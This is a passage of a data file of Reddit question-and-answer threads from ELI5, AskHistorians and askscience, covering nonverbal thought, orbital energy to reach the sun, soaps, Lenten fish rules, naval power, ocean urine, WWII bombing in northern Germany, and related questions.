of a lot faster if I don't think of every single word.  It's almost like the concept comes to me, and then I have to stop myself from saying it in my head because I already know what it is.  To make an analogy, it's like receiving a zip file on your computer and being able to open the files within it without unzipping the zip.  It's just much faster when you don't think of every single word, but of the sentence as a whole.", "Verbal thought involves your phonological loop and speech centers (we've identified some regions and their roles in speech processing, but there is still much that we do not know), nonverbal thought is basically all the other thoughts that you're consciously aware of. The phonological loop is at the center of it. It's the part of the working memory system that lets you keep all the words of your inner monologue in your head (as in, you don't forget them immediately after thinking them) and allows you to repeat stuff to yourself. ", "In cognitive science, there is a debate over a dual-process theory of mind  and thought. It distinguishes between system one and system two.\n\nSystem one: fast, intuitive, unconscious thought that is tied in with the emotions. This is the heuristics  &  biases kind of stuff, and also gut feelings.\n\nSystem two: slow, analytic, conscious reasoning. This is the deliberate application of logic.\n\nThe verbal/non-verbal distinction could be understood in terms of this dual-process model. Non-verbal thoughts are the long-evolved intuitive processes, the results of mental rules-of-thumb that are in system one. Verbal thoughts are those which we can keep in our phonological loop - which means conscious access and the ability to state the thoughts, and those are characteristic of rational system two processes.\n\nFor more readings on this, you can look up [Judgement Under Uncertainty](_URL_0_), [Simple Heuristics That Make Us Smart](_URL_1_), or for a book directed at the lay public, [The Robot's Rebellion](_URL_2_).", "I can skim some of these and elaborate where necessary. \n\n**What is a nonverbal thought / how is it understood**\n\nIt depends how you characterize a \"thought\". In terms of cognitive processes, there a lot of different things you can do within the realm of thinking. You can manipulate an idea. You can perceive something. You can remember something. You can be aware of something. A lot of the cognition that happens doesn't involve language.\n\nThink about navigating your house. Or dodging a falling object. Getting dressed in the morning. Walking. Feeling an emotion. Perceiving a stimulus for which words don't apply. All of these require some sort of \"thinking\" without the use of language. \n\nOf course at some point you may chose to use language - \"where did I put my keys?\" while navigating your house, but as you're running to answer the door you're not thinking \"left turn, 3 steps, right turn, passed the coffee table, rectangular object approximately ___ cm tall\".\n\n**How is it understood?** The same way language is understood - relative to everything else it can be relative to. How does a baby understand that one face belongs to it's mother, the other to a stranger? Without the use of language labels. The mother's face activates particular patterns of firing that understand particular spatial arrangements and patterns and these in turn activate neurons associated with warmth, love, and affection. \n\nSomething interesting to look up - [Grandmother Cells](_URL_1_). The idea that you have a particular cell, or cluster of cells, associated with certain particular objects. The idea fell out of favour for some time until recently it was discovered that we may have \"Halle Berry cells and Jennifer Aniston cells\".\n\nNote this is in contrast to what I think is a more accurate depiction - the neural network theory which essentially states the output or understanding you become aware of is a function of a unique firing patterns of a complex neural network which responds uniquely to different stimuli.\n\nIn terms of understanding visual stimuli, we currently think about it in terms of two \"streams\" of perception, each localized to a different area of the brain. [Two-Stream Hypothesis](_URL_0_). The dorsal is generally the \"where\" stream that helps perceive either how something is oriented in space and/or how you might grasp at it should you decide to. The ventral or \"what\" stream is more linked with object identification and your limbic system, which is involved in emotional interpretation. So if you lost your ventral stream you would not be able to identify an object but you could grasp it. \n\nNote this is an approximation and brain areas that are initially thought to be localized almost always end up being quite diffuse -  language being the major example of that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.grandin.com/references/thinking.animals.html"], [], [], ["http://books.google.co.uk/books?id=_0H8gwj4a1MC&amp;dq=kahneman+and+tversky+book&amp;source=gbs_navlinks_s", "http://books.google.co.uk/books?id=9RNF8TUmRywC&amp;dq=simple+heuristics+that+make+us+smart&amp;hl=en&amp;ei=sSxdTtH-KJGv8QOFooCmAw&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CCsQ6AEwAA", "http://books.google.co.uk/books?id=gib3SwqcH8AC&amp;dq=the+robot's+rebellion&amp;source=gbs_navlinks_s"], ["http://en.wikipedia.org/wiki/Two-streams_hypothesis#Problems_with_the_hypothesis", "http://en.wikipedia.org/wiki/Grandmother_cell"], [], [], ["http://www.grandin.com/references/thinking.animals.html"], [], [], ["http://books.google.co.uk/books?id=_0H8gwj4a1MC&amp;dq=kahneman+and+tversky+book&amp;source=gbs_navlinks_s", "http://books.google.co.uk/books?id=9RNF8TUmRywC&amp;dq=simple+heuristics+that+make+us+smart&amp;hl=en&amp;ei=sSxdTtH-KJGv8QOFooCmAw&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CCsQ6AEwAA", "http://books.google.co.uk/books?id=gib3SwqcH8AC&amp;dq=the+robot's+rebellion&amp;source=gbs_navlinks_s"], ["http://en.wikipedia.org/wiki/Two-streams_hypothesis#Problems_with_the_hypothesis", "http://en.wikipedia.org/wiki/Grandmother_cell"]]}
{"q_id": "9ss5rv", "title": "why does it take as much energy to travel into the sun as it does to leave the sun's gravity well?", "selftext": "I work as an educator at KSC, and questions usually come up about Parker Solar Probe. But I don't really know of a simple way of explaining this idea to kids.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ss5rv/eli5_why_does_it_take_as_much_energy_to_travel/", "answers": {"a_id": ["e8r1jf6", "e8r1pa1", "e8r1y12"], "score": [4, 4, 4], "text": ["The earth orbit the sun, and so anything we launch will also orbit the sun. To get closer to the sun, you need to slow down your velocity of your orbit, which would decrease the radius of your orbit.\n\nSo the exhaust of your rocket will be perpendicular to the force of gravity, weither you want to increase your velocity and go at an higher orbit, or decrease your velocity and go at a lower orbit. Either way, your rocket apply it's propulsion perpendicularly to the force of gravity, so gravity doesn't affect your energy consumption differently if you want to get away or closer to the sun.\n", "When you leave the Earth's gravity well, you're moving at roughly the same speed as Earth, but orbiting the sun now.\n\nAt that speed, you just travel around the sun forever.\n\nTo get closer to the sun, you slow yourself down and fall towards the sun. You'll pick up speed the entire time you fall towards the sun, but before you can fall you have to slow down.\n\nIf you want to get further away from the sun, you have to speed up relative to the earth, so that you get flung out away from the sun.\n\nBoth of these are examples of changing your orbit, which requires you to burn fuel.", "Objects in motion stay in motion unless acted upon by another force. If you launch a probe from Earth, it will simply continue to follow the same general orbit as Earth. Gravity doesn't pull it closer to the sun for the same reason that Earth isn't being pulled into the sun, that it's that it's screaming through space at 67,000 miles per hour relative to the sun, causing it to orbit instead. In order to approach the sun, you have to slow the probe way down. That requires quite a bit of energy as there's no friction or anything else in space to slow you down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8hsxdn", "title": "the difference between face, hand and body wash. why can't i just use the same thing all over?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8hsxdn/eli5_the_difference_between_face_hand_and_body/", "answers": {"a_id": ["dymfye7", "dymg5el", "dymn61p", "dymqpre"], "score": [7, 28, 8, 4], "text": ["Most of the time there is no difference. \n\nBody wash may have a more pungent odor because they assume youre cleaning everywhere, but most of the time the basic cleaning materials arent too different. The cleaned material every time is still skin, so it cant be that different. If youre on a tight budget, using a gentle/mild bodywash in place of all three is not gonna cause you any ill effects", "Mostly they are the same thing.  Hand washes might have additional ingredients to make them antibacterial, face washes might be less harsh and/or contain moisturisers since our faces have more delicate skin.\nFragrances and foaming are sometimes different too.  Having your hands smell nice is one thing, but having that scent on your nose is overwhelming.", "It\u2019s all personal preference really. You COULD use 1 for all three purposes. Dr bronner\u2019s Castile soap comes to mind. I have acne and want to prevent wrinkles on my face so I go for a face wash with salicylic or glycolic acid.  I COULD use that all over my body but that would be expensive af. I use a body wash that lathers real nice to get that grime and sweat off my body. I use a hand wash with anti-bacterial properties because our hands touch real nasty stuff sometimes. That might be too harsh for the bodies sensitive bits tho.", "You can, but it's not optimal.\n\nHand washes have extra anti-bacterial ingredients, as your hands are a hotbed of bacteria.\n\nFace wash usually has extra stuff to combat blackheads and acne (glycolic acid is one, but there are more) and help the skin on your face be super pretty.\n\nBody wash tends to be the most highly fragranced of the lot, which you don't necessarily want on your face, but enjoy having on your body because it lasts longer.\n\ntl;dr it's fine but suboptimal"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1zobtw", "title": "why is fish excluded in the whole no meat on fridays during lent?", "selftext": "Is it not the flesh of an animal? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zobtw/eli5_why_is_fish_excluded_in_the_whole_no_meat_on/", "answers": {"a_id": ["cfvfist", "cfvh0d8", "cfvk9dt", "cfvkggp", "cfvkmq9", "cfvktm9", "cfvoxne"], "score": [18, 3, 2, 5, 2, 4, 2], "text": ["This is the story I heard: back in the day, Catholics had a tradition where they were supposed to give up a luxury on Friday's.  For most people, the biggest luxury they had was meat so they would give that up.  Since fish was much cheaper, they would use that as a substitute protein for their meals.  So over many years \"give up a luxury\" became \"no meat on friday except fish\" which in my opinion is a little silly.", "As far as I understand from living in a catholic town for over a decade it is because fish were spared the destruction of the flood. That means fish were holier than all the other animals that were killed.\n\nFun Fact: Capybara is a staple in many areas of South America. Residents successfully petitioned the pope to get it declared a fish because it is never seen away from watre. So you can eat the rodent during Lent.", "If I remember my scheisster, sneaky Catholic history, it has something to do with one of the former incarnations of the pope being in cahoots with someone in the fishing industry (family, I think) and decreed that eating meat on Friday was a sin or wrong or some other bogus reason to drive fish sales up. ", "Thomas Aquianas [wrote](_URL_0_) in Summa Theologica \"Now, generally speaking, eating flesh meat affords more pleasure than eating fish, although this is not always the case\"", "Rather informatively, no two stories here are the same.", "Christianity came from Judaism, which doesn't consider fish to be meat.  When Jews make sure to avoid mixing milk and meat, they're really talking about land animals (and to a lesser extent, fowl) - not fish.  Similarly, Catholics don't always consider fowl to be meat, but usually do.  Fish are a separate category.\n\nOf note, many Buddhists and certain Hindu castes that do not eat meat do eat fish.  So it's actually pretty common in a lot of religions.", "Because they don't have any feeeeeeliiiiing"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.newadvent.org/summa/3147.htm#8"], [], [], []]}
{"q_id": "a9pq3u", "title": "as spain is one of the only countries that has a functioning aircraft carrier, it is rarely spoken of in the same military breath as the likes of france, germany, u.k or italy, why is this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a9pq3u/eli5_as_spain_is_one_of_the_only_countries_that/", "answers": {"a_id": ["eclbw4o", "ecldeul", "ecldkqs", "eclef8c", "ecljjzu"], "score": [3, 6, 8, 3, 3], "text": ["Their carrier is decommissioned and was extremely old and outdated before it was withdrawn from service 5 years ago. ", "The Spanish military doesn\u2019t even come in the top 30 of the most powerful world militaries and often stays out of international intervention. One small semi modern aircraft carrier doesn\u2019t make Spain compare with the top NATO powers.", "The trick being that the Juan Carlos I isn't *precisely* an aircraft carrier. It's an amphibious assault ship, which makes it less of a base for aircraft and more of a mobile landing platform for air and sea assets in preparation for an invasion.\n\nThe US has 30-something such vessels, and we don't count them as aircraft carriers.\n\nThe only exception to this are Japan's 3 *Osumi* class ships, which are all called amphibious assault ships and operate like them, but which are somewhat larger, and which were built with the expectation that they could be very very quickly retrofitted into actual aircraft carriers in a pinch should Japan ever amend it's Constitution to allow for such vessels.", "The Spanish aircraft carrier Juan Carlos I isn't in the same tier as the [Nimitz, Charles De Gaulle, or Kuznetsov classes](_URL_1_). The Juan Carlos I is incapable of launching standard aircraft, it can only launch VSTOL(Vertical or Short takeoff and landing) aircraft like the Harrier, F-35, and Helicopters.\n\nThe Juan Carlos I fills a similar role to the [USS America](_URL_0_) Amphibious Assault Ship which transports Marines, helicopters, and landing craft to various places but isn't meant to chill in the Pacific for a couple years just in case", "It still has a smaller military, an small economy to fund that military, and no nuclear weapons like France, and the UK. So even though it has an aircraft carrier it is still a league below most of the countries you name. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.m.wikipedia.org/wiki/USS_America_(LHA-6\\)", "https://upload.wikimedia.org/wikipedia/commons/thumb/2/2e/World_Navy_Aircraft_carries_chart.svg/1920px-World_Navy_Aircraft_carries_chart.svg.png"], []]}
{"q_id": "cb0jr5", "title": "there\u2019s millions if not billions of creatures in the ocean and they all pee, so how do they not get sick from essentially inhaling each other\u2019s urine?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cb0jr5/eli5_theres_millions_if_not_billions_of_creatures/", "answers": {"a_id": ["etcawnm", "etcazqg", "etcco7m", "etcczrs", "etciwgt", "etcmxjy", "etco6tx", "etcr9ou", "etcrcwv", "etcss6u", "etd0ydr", "etd1scg", "etd2eb9", "etd5mws", "etd8k73", "etdbpeg", "etdevqp", "etdl9sc", "etdlf1m", "etdpa6v", "etdpu4f", "etdtr0y", "etdv8oc", "eteqqhw", "etf04mz"], "score": [13248, 774, 4, 817, 5, 109, 4, 92, 6, 2, 14, 2, 2, 2, 10, 7, 9, 2, 2, 6, 3, 2, 2, 2, 2], "text": ["Arguably the main purpose of urination is to get rid of excess nitrogen-based chemicals (e.g. ammonia, urea, or uric acid depending on the organism).  These chemicals can be quite dangerous to most forms of life in high concentration, so it's true that if they were to build up in oceans this would cause problems.  Fortunately though, there is a well established [nitrogen cycle](_URL_0_) in which various bacteria and other organisms convert ammonia to gaseous dinitrogen (N2), which is relatively harmless but also unusable by most living things.  From there, other microorganisms carry out nitrogen fixation, converting dinitrogen back into other forms that can be used in building various molecules that are important to life, and the cycle continues.  [This website](_URL_1_) provides some more detailed information if you're interested.", "The solution to pollution is dilution.  \n\nThe total volume of the ocean is [1.35 billion **cubic kilometers.**](_URL_1_) \n\nScientists estimate that there are [3.5 trillion fish in the sea](_URL_0_) which means that each fish has 0.0003 cubic kilometers all to themselves to pee in (well, not really but you get the idea) which equates to 300,000 cubic meters or 7.93 x 10^7 gallons. \n\nTo give a picture of how much water 300,000 cubic meters is, an olympic sized swimming pool is only 2,500 cubic meters, so each fish gets more than 100 swimming pools to pee in!", "Volume. There is 1.332 billion cubic kilometers of ocean. If there are 1.332 billion sea creatures in the ocean with the average size of a small fish, that's 1 cubic kilometer per fish. Pardon the wordplay, but it's a drop in the bucket.\n\nRealistically there's more like 3.5 trillion fish in the ocean. That's still a metric ton of water per fish.", "Yeah... the Ocean is HUGE.  Like REALLY REALLY HUGE.  With over 1.3 BILLION cubic kilometers, it's pretty easy to conceive vast expanses of completely empty ocean.\n\nTo put it in perspective: if we condensed the entire population of humans on Earth into a single space, even granting each person a square yard to stand in, we'd only take up about the area of the state of Vermont.  And the ocean is WAY bigger than just the land surface on earth, being home to about 99% of the habitable living space on Earth.\n\nAnd sure, the ocean is home to a much larger number of actual organisms.  However, the vast majority of them are much smaller than humans (most fish, invertebrates, crustaceans and shellfish, and the plankton/microorganisms.)\n\nAnother way to look at it is this:\n\nIf we ignore that some species live on land, and other species live in the ocean, and just lump all living things on earth together, there's roughly 75 billion tons of total biomass.  That's ALL living things (people, fish, birds, trees, bacteria, flies, flowers, etc.)\n\nThe ocean contains approximately 1,450,000,000,000,000,000 tons of ocean water.  That's not 1.4 billion, or trillion, or quadrillion... but Quintillion.  1.45 Quintillion tons.  That's 1,450,000,000 billion.  That's so many orders of magnitute greater, that the amount of pee present is, to coin a phrase, \"A drop in the ocean\".\n\nSources:\n_URL_5_\n_URL_2_\n_URL_6_\n_URL_3_\n_URL_0_\n_URL_1_\n_URL_4_\n\nYAY OCEAN!\n\nEdit: moved to top level comment instead of reply\n\nEdit 2: Wow Thanks for the silver!\n\nEdit 3: WOW WOW Thanks SO much for the Gold!  Times like this make me so proud to be part of this community  < 3", "That's like asking why people all over the globe can cough and not everyone gets sick and dies.  Sometimes we get sick, but our filtration and immune systems have adapted to the environment we inhabit.", "What's the difference between a glass of water and a glass of sewage? The ratio of water to stuff in it.\n\nThe ocean is a billion creatures toilet, but there is a looooooot of water in the ocean.\n\nThere are also natural processes that depends on the sewage part of that for food, processing it into something else.", "That's what \"ECOSYSTEM\"is all about.\n\n\nIt's where eveything relies on one another to survive. \n\nIn the simplest ocean's eco cycle.\n\nLight to plants/plankton  >  filter feeders(from krill to whales)  >  sharks etc  >  bottom feeders(from carcass to everything attached to the sea floor)\n\nAnd in here somewhere there are tiny microorganisms that feed on certain things.\n\n\nBut this applies, largely, to the \"main\" or large ecosystem where we can see this happens. There are other small ecosystems branching of at every part. When humans overfish one particular marine life we impact the whole ecosystem.\n\nBut even then. Life is very versatile. They'd do anything. Even changing diet etc. However, this is still not the answer, for life is still affected negatively.\n\nSource?: my own interpretation of \n\n[  Planet Earth _URL_0_.  ]\n\n( available in Netflix)\n\nP.S: I love you David Attenborough", "The same way we don't get sick from inhaling each other's farts.  The volume of waste is pretty insignificant when compared to the volume of the ocean, or our atmosphere.  Incidentally this is why fish tanks need  a filter and/or frequent water changes.", "The ocean has millions of microbes that will turn the fish pee pee and poo poo into things that algae can use to make photosynthesis, increasing their oxygen. If you keep them in an fishtank, you need to closely monitor the amount of pee pee and poo poo compounds in water, otherwise your fish get sick from inhaling each other's pee pee and poo poo.", "The ocean is massive. It goes across, but also is very deep. The amount of water present is very hard to concentrate to an amount that makes someone sick.", "One man's trash is another man's treasure.\n\n & #x200B;\n\nFish that pee produce nutrients that other organisms consume and convert back to healthy water or material that is then nutrients that food fish eat are able to use. You can experiment with this yourself. You can make an aquarium completely self cleaning using various types of plants and animals.", "Imagine pouring a glass of apple juice into a huge pool. There's so much water in the pool, that you can't taste the apple juice, if you swallowed pool water you'd only get the tinest amount of apple juice if any, which at that level would not be harmful.", "Aside from the dilution idea that's already been pointed out, I think it is also worth noting that drinking urine isn't as dangerous as we intuitively presume. There are actually very few risks associated drinking urine, except for mostly dehydration.\n\nIt's still gross though.", "Much like how you breath out CO2, which is toxic in concentration, but it gets diluted by the large column of air around you. So even if you living in the city with tons of people around you, the amount of CO2 never elevates to the level that will harm you. \n\nExcept global warming", "Most of the ocean is quite empty, the ocean is basically the biggest desert.    \n   \nMost of the marine life is pretty close to the shore, because that's where the food is.", "On top of the fact that OP doesn't seem to grasp just how vast the volume of water in the world's oceans is, let me retort in kind with:\n\nThere are millions if not billions of creatures on land and they all pee, yet we do not see rivers of urine (unless you count some areas of India).", "Just popping in here, there are trillions of fish in the ocean alone. The number of living creatures in the ocean is astronomical.", "All good answers here, but I think you are asking why other fish dont get infections from urine. It's because in healthy organisms, urine is actually sterile. Thats right, your piss is sterile.", "The solution to pollution is dilution.  \n\n\nActually it\u2019s best not to pollute to begin with...", "The reason has _nothing_ to do with the volume of water, _nothing_ to do with how huge our oceans are relative to the biomass within them. The reason has _everything_ to do with the nitrogen cycle. You can keep fish successfully in tiny volumes of water IF the water has been nitrogen-cycled. The volume of water in our oceans has nothing to do with it.\n\nEdit: of course if you change the volume/biomass ratio then the cycle could be disrupted. My assertion that volume has nothing to do with it assumes an intact nitrogen cycle", "We don't get sick from the urine in the oceans because the solution to pollution is dilution.", "In addition to the above. Some of them do. As an example, goldfish are dangerous to have with some other fish. The goldfish basically produce so much ammonia that it kills other fish, if in the same tank.", "It depends on what you count as a creature, but there would be trillions, even if you don't count microscopic creatures. \n\nThe sea is vast, which is also the answer to the question. Even if all creatures in the sea consisted of 100% urine, the ocean would still dilute it by size alone, to a point that it's more diluted than homeopathic medince, which is essentially water.", "There are billions of people and animals on the planet. All of them breath. How are we not dead ? Or are we all breathing used air ?", "I'd like to add that there are billions of humans who all fart (even the ladies) and we all somehow manage to survive those roasted toxins too..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://worldoceanreview.com/en/files/2017/12/wor5_k2a_abb_2-10_x_en.png", "http://cmore.soest.hawaii.edu/cruises/biolincs/nitrogen.htm"], ["https://www.worldatlas.com/articles/how-many-fish-are-there-in-the-ocean.html", "https://www.livescience.com/6470-ocean-depth-volume-revealed.html"], [], ["https://en.wikipedia.org/wiki/Vermont", "https://www.quora.com/How-much-room-would-the-entire-world-population-take-up-if-it-was-standing-side-by-side", "http://scienceline.ucsb.edu/getkey.php?key=1388", "https://www.un.org/sustainabledevelopment/wp-content/uploads/2017/05/Ocean-fact-sheet-package.pdf", "https://oceanservice.noaa.gov/facts/oceanwater.html", "http://see-the-sea.org/facts/facts-body.htm", "https://science.nasa.gov/earth-science/oceanography/living-ocean"], [], [], ["https://g.co/kgs/d1TciS"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "13eadu", "title": "Question about the advance of allied troops in western germany during WW2", "selftext": "I have known for quite some time that my ancestor's mill in Germany was bombed and destroyed during WW2. While bombings of course were common in WW2 i have always been wondering why that particular area where my ancestors lived was bombed, considering there is not a single major city and to my knowledge no strategic targets around. It is and always has been a very rural area in northern Germany, close to the Elbe and the former inner German border. I've attached [this map](_URL_0_) with the red dot being the approximate location of the mill. My living relatives don't seem to know any details as to why and when the bombing occured, that's why i have some questions for you.\n\nThe first one is about the general advance of the allied troops in this area of germany. I'm pretty sure the western Allies reached this area before the Soviets, hence the borders after the war. But at what time exactly did their troops reach this spot? Im guessing by the time they reached central Germany the fighting must have been pretty much over.\n\nThat leads me to the second question, the reason of the bombing. Given there was no more serious fighting when they reached the area, how come they had to bomb that place? As I mentioned a strategic bombing as it happened in the big German cities seems pointless to me as this area has one of the least population densities in all of Germany and no war industry whatsoever. An old waterpowered mill doesn't seem like a valid military target.\n\nOr is it possible that by the time the allied troops reached this spot there was still heavy resistance by German troops and this building was used by them as fortification? In that case a bombing in order to prepare an infantry charge seems reasonable.\n\nI really hope some of you can give some insight about the fighting in that area. I know you won't be able to answer why this happenend specifically but I think some knowledge about the circumstances will help me understand this incident better. Unfortunately my relatives who probably knew more about this already died without passing any specific information on to the rest of the family.\nThat's why I'm turning to you, historians of reddit!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13eadu/question_about_the_advance_of_allied_troops_in/", "answers": {"a_id": ["c737b5o"], "score": [16], "text": ["Hi there, I was interested by your question so I did a little superficial research for you.  \n\nFirst, yes the Allied forces did advance into the area where your ancestor's mill was located in April 1945.  [Check out this map](_URL_3_) and you can see in the Northeast, near Uelzen, was the limit of the Allied advance by April 19 1945.  [This other map](_URL_5_) also demonstrates how far the Allies got in April 1945, and then how far they went into May 1945.\n\nI did some quick web searches to answer your question.  I found two interesting sites referring to fighting in the area you indicated on your map.  One is this site, which has the [Report on the Commitment of the Panzer-Division Clausewitz](_URL_4_).  I don't know if it's accurate, but using the information about that one Panzer Division, I made up [a map demonstrating some of the battles that they recount taking place 14 April-18 April 1945](_URL_1_).  The red dot is roughly where your mill was located.  So fighting was taking place in and around the area.  \n\nAnother [document I found](_URL_0_) discusses European theatre of operations for the US Airforce in February 1945.  If you do a ctrl-F for \"bodenteich\" you can find that on 14 February 1945 \n\n > 3. 375 B-24s are sent to hit an oil refinery at Magdeburg but are unable to attack due to weather; 340 hit the secondary, the marshalling yard at Magdeburg; targets of opportunity are Emlicheim (1), Meppen (1), **Bodenteich** (1) and other (1); 1 B-24 is lost, 2 damaged beyond repair and 16 damaged; 9 airmen are MIA. 253 of 273 P-51s escort; they claim 10-0-3 aircraft; 2 P-51s are lost (pilots MIA).\n\nBodenteich, if you look at that map I made, is called Bad Bodenteich on it (between Uelzen and Wittingen).  I think the names are interchangeable... So there was bombing in the area of the mill in 1945.  Though not at the same time as troop action, large scale bombing offensives had been suspended as of 16 April, 1945.  Still, it's possible your mill was bombed by inaccurate bombing (it was never really 'accurate' in any sense).  This may be the source of your story, especially if there was bad weather north of Magdeburg as well that impeded even the illusion of accurate bombing.\n\nI also found [this site telling the story of British Dragoons](_URL_2_) that also talks a bit about taking Bodenteich from the south (presumably around late April 1945).\n\nI unfortunately don't know why Bodenteich may have been a target.  Nor do I know if fighting actually took place in the exact area you mark on the map.  Also this is all from quick research, so I can't really say it's absolutely true, but I hope it's a good start."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/FL7U0"], "answers_urls": [["http://paul.rutgers.edu/~mcgrew/wwii/usaf/html/Feb.45.html", "http://i.imgur.com/RwTA2.jpg", "http://daimler-fighting-vehicles.co.uk/DFV-File%20Part%20D003a-RAC-COL%20Dragoons.pdf", "http://www.emersonkent.com/images/advance_elbe.jpg", "http://www.axishistory.com/index.php?id=6140", "http://i.imgur.com/X41EU.jpg"]]}
{"q_id": "4958qi", "title": "Why did Puerto Rico never embrace english the way the way the Phillipines and Guam did?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4958qi/why_did_puerto_rico_never_embrace_english_the_way/", "answers": {"a_id": ["d0pjpeh"], "score": [7], "text": ["Once again writing a bit beyond my specialty here, but I think I can shed some insight. I'm drawing from Michael Wilrich, *Pox: An American History*, so my answer will be narrow in a number of ways. \n\nPuerto Rico and the Philippines had two very different colonial experiences, so this is not as apples-to-apples as you might think. First, we can look at how they two places entered the American orbit during the Spanish-American War. Puerto Rico was one of the US's easier acquisitions during the war, and saw no major fighting as the US replaced Spain as the island's colonial master. Most Puerto Ricans were willing to work with and recognize the American government, and often viewed it as something of a improvement over Spain. \n\nIn the Phillipines, an American fleet arrived just as Filipino rebels were about to overthrow the Spanish government. The commander of Spanish forces in Manilla made a catastrophic decision to try to break past the American fleet, resulting in a total defeat for the Spanish. He then surrendered the colony to the Americans, who were more than happy to accept. By way of comparison, it would be like if the  the British surrendered to the French at Yorktown, causing he US to become a French colony. Filipinos were understandably furious, but they had little by way of legal recourse. \n\nAs a result, many Filipinos continued  to fight the urge to colonial power - in this case , the US. The Americas responded by sending thousands of soldiers to occupy the island, and they stayed there until WW2. This was a cruel, bloody guerrilla war, and American excesses were as frequent as they were horrific. The Philippine colonial experience was one of **constant, intrusive American presence and domination*.  Even though many Filipinos hated American control, many could not go about their daily lives without a encountering and operating within the context of American culture, particularly military culture. \n\nPuerto Rico, on the other hand, cooperated with American control. As such, the United States did little to meddle in the internal affairs of the island beyond installing a governor. The Puerto Rican experience was one of *cooperation and collaboration* as the US worked with local officials to build roads, public schools, and a health system. America's imperial presence was thus a light touch that did not enter the daily lives of most Puerto Ricans, and the US made no serious effort to try to change or eradicate Puerto Rican culture. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "97pvgj", "title": "Can we expect a decisive answer about the existence of a ninth planet any time soon? Or is progress difficult and slow?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/97pvgj/can_we_expect_a_decisive_answer_about_the/", "answers": {"a_id": ["e4apj6a", "e4az8cf", "e4djsfc"], "score": [7, 14, 3], "text": ["I think the only thing holding back right now is definitions. There are a couple we found that got disqualified back when they were debating Pluto's status. Unless are you talking about the gravitational anomaly announced like 2 years ago? I think that that one is still up in the air for lack of visual detection", "Experts in this field believe they've **probably** discovered all objects of Pluto size or larger in the plane of the solar system, out to about twice Pluto's distance.  \"Probably\" because there's a small chance some may be very black and hard to see, or camouflaged in a few very starry regions of the sky.\n\nThere might be many objects smaller than Pluto, or really big ones that are much further away, but they will run into problems with the current definition of \"planet\".  The definition requires that the object \"remove debris and small objects from the area around its orbit\", and this is difficult to do when the distances between objects are vast and the orbital times are very long.\n\n[_URL_1_](_URL_1_)\n\n[_URL_0_](_URL_0_)", "The Big Ninth Planet that was all over the news a couple years ago will probably take a while to confirm or deny. There's really no way to conclusively prove that it isn't there, but the fact that it's so incredibly far away (something like 10 times as distant as Neptune?) means it's really hard to find the thing without knowing where to look. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.space.com/25986-planet-definition.html", "https://www.universetoday.com/118118/it-looks-like-these-are-all-the-large-kuiper-belt-objects-well-ever-find/"], []]}
{"q_id": "145gps", "title": "Is there a way we can see microwaves? ", "selftext": "Say I decide to zap some leftover pizza and as it heats up, I can put on a special pair of glasses that allows me to see my microwave oven glow red or yellow. Could this be possible?\n\nI don't know how useful it would be, but imagine how interesting it might be to walk around your neighborhood and be able to see all the microwave \"hotspots.\"\n\nIs there any way to translate microwave into the visible light spectrum?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/145gps/is_there_a_way_we_can_see_microwaves/", "answers": {"a_id": ["c7a16tp", "c7a1o4s", "c7a1owu", "c7aa5zb"], "score": [23, 8, 15, 2], "text": ["Yes, microwave radiation can be captured by a camera and converted into a visible image. For example, here is a handheld device that lets you peer into the microwave spectrum: _URL_0_\n", "John_Johnson2 answered the main question, but it should also be noted that microwave ovens are usually fairly well shielded so you shouldn't be seeing much in the way of escaping microwaves.", "People's answers about seeing microwaves are correct. However, be aware that you probably wouldn't be able to see them by looking into a (closed) microwave: those little holes on the door are actually waveguides that filter out the microwave spectrum.", "I know this doesn't really answer your question, but if you want to visualize the waves in your microwave, you can do it with a bit of American cheese, or any cheese that melts easily, on a plate in your microwave.  Remove the turntable and support the plate with something so that it doesn't rotate.\n\nSee this Youtube video as a guide and explanation.  The hotspots kinda show you the propagation of the waves.  _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.fastcompany.com/1139317/walleyes-microwave-camera-brings-x-ray-vision-home"], [], [], ["https://www.youtube.com/watch?v=p_ubsUhEGjk"]]}
